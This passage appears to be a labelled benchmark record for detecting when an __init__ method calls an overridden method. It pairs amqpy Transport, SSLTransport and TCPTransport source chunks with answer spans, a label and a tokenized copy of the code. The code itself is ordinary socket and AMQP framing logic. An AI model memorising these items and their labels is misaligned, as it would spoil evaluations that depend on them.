datetime.datetime.now()\n return frame\n else:\n raise UnexpectedFrame('Received {} while expecting 0xce (FrameType.END)'.format(hex(i_last_byte)))", "metadata": "root.Transport.read_frame", "header": "['class', 'Transport', ':', '___EOS___']", "index": 167 }, { "content": " @synchronized('_frame_write_lock')\n def write_frame(self, frame):\n \"\"\"Write frame to connection\n\n Note that the frame may be destined for any channel. It is permitted to interleave frames\n from different channels.\n\n :param frame: frame\n :type frame: amqpy.proto.Frame\n \"\"\"\n try:\n self.write(frame.data)\n except socket.timeout:\n raise\n except (OSError, IOError, socket.error) as exc:\n if get_errno(exc) not in _UNAVAIL:\n self.connected = False\n raise", "metadata": "root.Transport.write_frame", "header": "['class', 'Transport', ':', '___EOS___']", "index": 216 }, { "content": " def send_heartbeat(self):\n \"\"\"Send a heartbeat to the server\n \"\"\"\n self.last_heartbeat_sent = datetime.datetime.now()\n self.last_heartbeat_sent_monotonic = time.monotonic()\n self.write_frame(Frame(FrameType.HEARTBEAT))", "metadata": "root.Transport.send_heartbeat", "header": "['class', 'Transport', ':', '___EOS___']", "index": 235 }, { "content": " def is_alive(self):\n \"\"\"Check if connection is alive\n\n This method is the primary way to check if the connection is alive.\n\n Side effects: This method may send a heartbeat as a last resort to check if the connection\n is alive.\n\n :return: True if connection is alive, else False\n :rtype: bool\n \"\"\"\n if not self.sock:\n # we don't have a valid socket, this connection is definitely not alive\n return False\n\n if not self.connected:\n # the `transport` is not connected\n return False\n\n # recv with MSG_PEEK to check if the connection is alive\n # note: if there is data still in the buffer, this will not tell us anything\n # if hasattr(socket, 'MSG_PEEK') and not isinstance(self.sock, ssl.SSLSocket):\n # prev = self.sock.gettimeout()\n # self.sock.settimeout(0.0001)\n # try:\n # self.sock.recv(1, socket.MSG_PEEK)\n # except socket.timeout:\n # pass\n # except socket.error:\n # # the exception is usually (always?) a ConnectionResetError in Python 3.3+\n # log.debug('socket.error, connection is closed')\n # return False\n # finally:\n # self.sock.settimeout(prev)\n\n # send a heartbeat to check if the connection is alive\n try:\n self.send_heartbeat()\n except socket.error:\n return False\n\n return True", "metadata": "root.Transport.is_alive", "header": "['class', 'Transport', ':', '___EOS___']", "index": 242 }, { "content": "class SSLTransport(Transport):\n \"\"\"Transport that works over SSL\n \"\"\"\n\n\n\n", "metadata": "root.SSLTransport", "header": "['module', '___EOS___']", "index": 286 }, { "content": " def __init__(self, host, port, connect_timeout, frame_max, ssl_opts):\n self.ssl_opts = ssl_opts\n super(SSLTransport, self).__init__(host, port, connect_timeout, frame_max)", "metadata": "root.SSLTransport.__init__", "header": "['class', 'SSLTransport', '(', 'Transport', ')', ':', '___EOS___']", "index": 290 }, { "content": " def _setup_transport(self):\n \"\"\"Wrap the socket in an SSL object\n \"\"\"\n self.sock = ssl.wrap_socket(self.sock, **self.ssl_opts)", "metadata": "root.SSLTransport._setup_transport", "header": "['class', 'SSLTransport', '(', 'Transport', ')', ':', '___EOS___']", "index": 294 }, { "content": " def read(self, n, initial=False):\n \"\"\"Read from socket\n\n According to SSL_read(3), it can at most return 16kb of data. Thus, we use an internal read\n buffer like `TCPTransport.read()` to get the exact number of bytes wanted.\n\n :param int n: exact number of bytes to read\n :return: data read\n :rtype: bytes\n \"\"\"\n return self._read(n, initial, _errnos=(errno.ENOENT, errno.EAGAIN, errno.EINTR))", "metadata": "root.SSLTransport.read", "header": "['class', 'SSLTransport', '(', 'Transport', ')', ':', '___EOS___']", "index": 299 }, { "content": " def write(self, s):\n \"\"\"Write a string out to the SSL socket fully\n \"\"\"\n try:\n write = self.sock.write\n except AttributeError:\n # works around a bug in python socket library\n raise IOError('Socket closed')\n else:\n while s:\n n = write(s)\n if not n:\n raise IOError('Socket closed')\n s = s[n:]", "metadata": "root.SSLTransport.write", "header": "['class', 'SSLTransport', '(', 'Transport', ')', ':', '___EOS___']", "index": 311 }, { "content": "class TCPTransport(Transport):\n \"\"\"Transport that deals directly with TCP socket\n \"\"\"\n\n", "metadata": "root.TCPTransport", "header": "['module', '___EOS___']", "index": 327 }, { "content": " def read(self, n, initial=False):\n \"\"\"Read exactly n bytes from the socket\n\n :param int n: exact number of bytes to read\n :return: data read\n :rtype: bytes\n \"\"\"\n return self._read(n, initial, _errnos=(errno.EAGAIN, errno.EINTR))", "metadata": "root.TCPTransport.read", "header": "['class', 'TCPTransport', '(', 'Transport', ')', ':', '___EOS___']", "index": 331 }, { "content": " def write(self, s):\n self.sock.sendall(s)", "metadata": "root.TCPTransport.write", "header": "['class', 'TCPTransport', '(', 'Transport', ')', ':', '___EOS___']", "index": 340 } ]
[ { "span": "self._setup_transport()", "start_line": 83, "start_column": 12, "end_line": 83, "end_column": 35 }, { "span": "self.write(AMQP_PROTOCOL_HEADER)", "start_line": 85, "start_column": 12, "end_line": 85, "end_column": 44 } ]
[ { "span": "def write(self, s):", "start_line": 149, "start_column": 4, "end_line": 149, "end_column": 23 }, { "span": "def _setup_transport(self):", "start_line": 153, "start_column": 4, "end_line": 153, "end_column": 31 }, { "span": "def _setup_transport(self):", "start_line": 294, "start_column": 4, "end_line": 294, "end_column": 31 }, { "span": "def write(self, s):", "start_line": 311, "start_column": 4, "end_line": 311, "end_column": 23 }, { "span": "def write(self, s):", "start_line": 340, "start_column": 4, "end_line": 340, "end_column": 23 } ]
1
false
[ "[CLS]_", "`_", "\\u\\u", "init\\u\\u_", "`_", "method_", "calls_", "overrid", "den_", "method_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Transport_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u\\u", "metaclass\\u\\u_", "=_", "ABC", "Meta_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\"\"\"", "Common", " ", "superclass", " ", "for", " ", "TC", "P", " ", "and", " ", "SS", "L", " ", "transport", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "connected_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Transport_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "host_", ",_", "port_", ",_", "connect", "\\u", "timeout_", ",_", "buf", "\\u", "size_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "host", ":", " ", "host", "name", " ", "or", " ", "IP", " ", "address", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "port", ":", " ", "port", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "connect", "\\u", "timeo", "ut", ":", " ", "connect", " ", "timeo", "ut", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "host", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "port", ":", " ", "int", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "connect", "\\u", "timeo", "ut", ":", " ", "float", " ", "or", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "rbu", "f_", "=_", "bytearray_", "(_", "buf", "\\u", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", ":", " ", ":", "type", ":", " ", "datetime", ".", "datetime_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "last", "\\u", "heart", "beat", "\\u", "sent_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", ":", " ", ":", "type", ":", " ", "datetime", ".", "datetime_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "last", "\\u", "heart", "beat", "\\u", "received_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "last", "\\u", "heart", "beat", "\\u", "sent", "\\u", "monotonic", "_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "purpose", " ", "of", " ", "the", " ", "frame", " ", "lock", " ", "is", " ", "to", " ", "allow", " ", "no", " ", "more", " ", "than", " ", "one", " ", "thread", " ", "to", " ", "read", "/", "write", " ", "a", " ", "frame_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "the", " ", "connecti", "on", " ", "at", " ", "any", " ", "time_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "frame", "\\u", "write", "\\u", "lock_", "=_", "RL", "ock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "frame", "\\u", "read", "\\u", "lock_", "=_", "RL", "ock_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "sock_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", " ", "to", " ", "connect_", "\\u\\u\\uNL\\u\\u\\u_", "last", "\\u", "err_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "res_", "in_", "socket_", "._", "getadd", "rin", "fo_", "(_", "host_", ",_", "port_", ",_", "0_", ",_", "socket_", "._", "SOCK", "\\u", "STREAM_", ",_", "socket_", "._", "IPP", "ROTO", "\\u", "TCP_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "af_", ",_", "sock", "type_", ",_", "proto_", ",_", "canon", "name_", ",_", "sa_", "=_", "res_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "sock_", "=_", "socket_", "._", "socket_", "(_", "af_", ",_", "sock", "type_", ",_", "proto_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sock_", "._", "settimeout_", "(_", "connect", "\\u", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sock_", "._", "connect_", "(_", "sa_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "socket_", "._", "error_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "sock_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sock_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "err_", "=_", "exc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "sock_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "did", "n", "'", "t", " ", "connect", ",", " ", "return", " ", "the", " ", "most", " ", "recent", " ", "error", " ", "message_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "socket_", "._", "error_", "(_", "last", "\\u", "err_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "isinstance_", "(_", "self_", "._", "sock_", ",_", "socket_", "._", "socket_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sock_", "._", "settimeout_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sock_", "._", "setsockopt_", "(_", "socket_", "._", "IPP", "ROTO", "\\u", "TCP_", ",_", "socket_", "._", "TC", "P", "\\u", "NODE", "LA", "Y_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sock_", "._", "setsockopt_", "(_", "socket_", "._", "SOL", "\\u", "SOCKET_", ",_", "socket_", "._", "SO", "\\u", "KEEP", "ALI", "VE_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "setup", "\\u", "transport_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "write_", "(_", "AMQ", "P", "\\u", "PROTOCOL", "\\u", "HEADER_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "OSE", "rror_", ",_", "IO", "Error_", ",_", "socket_", "._", "error_", ")_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "get", "\\u", "errno_", "(_", "exc_", ")_", "not_", "in_", "\\u", "UNA", "VA", "IL", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "connected_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "connected_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Transport_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "del\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "socket", " ", "module", " ", "may", " ", "have", " ", "bee", "n", " ", "collected", " ", "by", " ", "gc", " ", "if", " ", "this", " ", "is", " ", "call", "ed", " ", "by", " ", "a", " ", "thread", " ", "at", " ", "shutdown_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "socket_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "noin", "spect", "ion", " ", "Py", "Broad", "Exception_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "sock_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Transport_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "read_", "(_", "self_", ",_", "n_", ",_", "initial_", ",_", "\\u", "errno", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Read", " ", "from", " ", "socket", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "is", " ", "the", " ", "default", " ", "implementation", ".", " ", "Subc", "lasse", "s", " ", "may", " ", "implement", " ", "`", "read", "()`", " ", "to", " ", "simp", "ly", " ", "call", " ", "this", "\\", "10", ";", " ", " ", " ", " ", "method", ",", " ", "or", " ", "provide", " ", "thei", "r", " ", "own", " ", "`", "read", "()`", " ", "implementation", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "e", ":", " ", "Acco", "rdin", "g", " ", "to", " ", "SS", "L", "\\u", "read", "(", "3", "),", " ", "it", " ", "can", " ", "at", " ", "most", " ", "return", " ", "16", "k", "B", " ", "of", " ", "data", ".", " ", "Thu", "s", ",", " ", "we", " ", "use", " ", "an", " ", "internal", "\\", "10", ";", " ", " ", " ", " ", "read", " ", "buffer", " ", "like", " ", "to", " ", "get", " ", "the", " ", "exact", " ", "number", " ", "of", " ", "bytes", " ", "want", "ed", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "e", ":", " ", "ssl", ".", "sock", ".", "read", " ", "may", " ", "caus", "e", " ", "ENO", "ENT", " ", "if", " ", "the", " ", "operati", "on", " ", "coul", "dn", "'", "t", " ", "be", " ", "perform", "ed", " ", "(?", ").", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "int", " ", "n", ":", " ", "exact", " ", "number", " ", "of", " ", "bytes", " ", "to", " ", "read", "\\", "10", ";", " ", " ", " ", " ", ":", "return", ":", " ", "data", " ", "read", "\\", "10", ";", " ", " ", " ", " ", ":", "rty", "pe", ":", " ", "memory", "view", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mv", "iew_", "=_", "memory", "view_", "(_", "self_", "._", "\\u", "rbu", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "to", "\\u", "read_", "=_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "to", "\\u", "read_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bytes", "\\u", "read_", "=_", "self_", "._", "sock_", "._", "recv", "\\u", "into_", "(_", "mv", "iew_", ",_", "to", "\\u", "read_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mv", "iew_", "=_", "mv", "iew_", "[_", "bytes", "\\u", "read_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "to", "\\u", "read_", "-=_", "bytes", "\\u", "read_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "socket_", "._", "error_", "as_", "exc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "initial_", "and_", "exc_", "._", "errno_", "in_", "\\u", "errno", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "bytes", "\\u", "read_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "IO", "Error_", "(_", "'", "socket", " ", "close", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "memory", "view_", "(_", "self_", "._", "\\u", "rbu", "f_", ")_", "[_", ":_", "n_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Transport_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "abstractmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "read_", "(_", "self_", ",_", "n_", ",_", "initial_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Read", " ", "exact", "ly", " ", "`", "n", "`", " ", "bytes", " ", "from", " ", "the", " ", "peer", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "n", ":", " ", "number", " ", "of", " ", "bytes", " ", "to", " ", "read", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "n", ":", " ", "int", "\\", "10", ";", " ", " ", " ", " ", ":", "return", ":", " ", "data", " ", "read", "\\", "10", ";", " ", " ", " ", " ", ":", "rty", "pe", ":", " ", "bytes", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Transport_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "abstractmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "write_", "(_", "self_", ",_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Complete", "ly", " ", "write", " ", "a", " ", "string", " ", "to", " ", "the", " ", "peer", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Transport_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "setup", "\\u", "transport_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Do", " ", "any", " ", "addition", "al", " ", "initialization", " ", "of", " ", "the", " ", "class", " ", "(", "used", " ", "by", " ", "the", " ", "subclasses", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Transport_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "close_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "sock_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "call", " ", "shut", "down", " ", "first", " ", "to", " ", "make", " ", "sure", " ", "tha", "t", " ", "pend", "ing", " ", "message", "s", " ", "reach", " ", "the", " ", "AMQ", "P", " ", "broker", " ", "if", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "program", " ", "exits", " ", "after", " ", "calling", " ", "this", " ", "method_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "sock_", "._", "shutdown_", "(_", "socket_", "._", "SHU", "T", "\\u", "RD", "WR", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sock_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sock_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "connected_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Transport_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "synchronized", "_", "(_", "'\\u", "frame", "\\u", "read", "\\u", "lock", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "read", "\\u", "frame_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Read", " ", "frame", " ", "from", " ", "connecti", "on", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "e", " ", "tha", "t", " ", "the", " ", "frame", " ", "may", " ", "be", " ", "destin", "ed", " ", "for", " ", "any", " ", "channel", ".", " ", "It", " ", "is", " ", "permit", "ted", " ", "to", " ", "interleave", " ", "frames", "\\", "10", ";", " ", " ", " ", " ", "from", " ", "different", " ", "channel", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "return", ":", " ", "frame", "\\", "10", ";", " ", " ", " ", " ", ":", "rty", "pe", ":", " ", "amqp", "y", ".", "proto", ".", "Frame", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frame_", "=_", "Frame_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "read", " ", "frame", " ", "header", ":", " ", "7", " ", "bytes_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frame", "\\u", "header_", "=_", "self_", "._", "read_", "(_", "7_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frame_", "._", "data_", "._", "extend_", "(_", "frame", "\\u", "header_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "read", " ", "frame", " ", "payload_", "\\u\\u\\uNL\\u\\u\\u_", "payload_", "=_", "self_", "._", "read_", "(_", "frame_", "._", "payload", "\\u", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frame_", "._", "data_", "._", "extend_", "(_", "payload_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "read", " ", "frame", " ", "terminator", " ", "byte_", "\\u\\u\\uNL\\u\\u\\u_", "frame", "\\u", "terminator", "_", "=_", "self_", "._", "read_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frame_", "._", "data_", "._", "extend_", "(_", "frame", "\\u", "terminator", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "six_", "._", "PY", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", ":", " ", ":", "type", ":", " ", "int_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "last", "\\u", "byte_", "=_", "six_", "._", "byte", "2in", "t_", "(_", "frame", "\\u", "terminator", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "this", " ", "fixes", " ", "the", " ", "change", " ", "in", " ", "memory", "view", " ", "in", " ", "Pyth", "on", " ", "3.3", " ", "(", "accessi", "ng", " ", "an", " ", "element", " ", "return", "s", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "correct", " ", "type", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", ":", " ", ":", "type", ":", " ", "int_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "last", "\\u", "byte_", "=_", "six_", "._", "byte", "2in", "t_", "(_", "bytes_", "(_", "frame", "\\u", "terminator", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 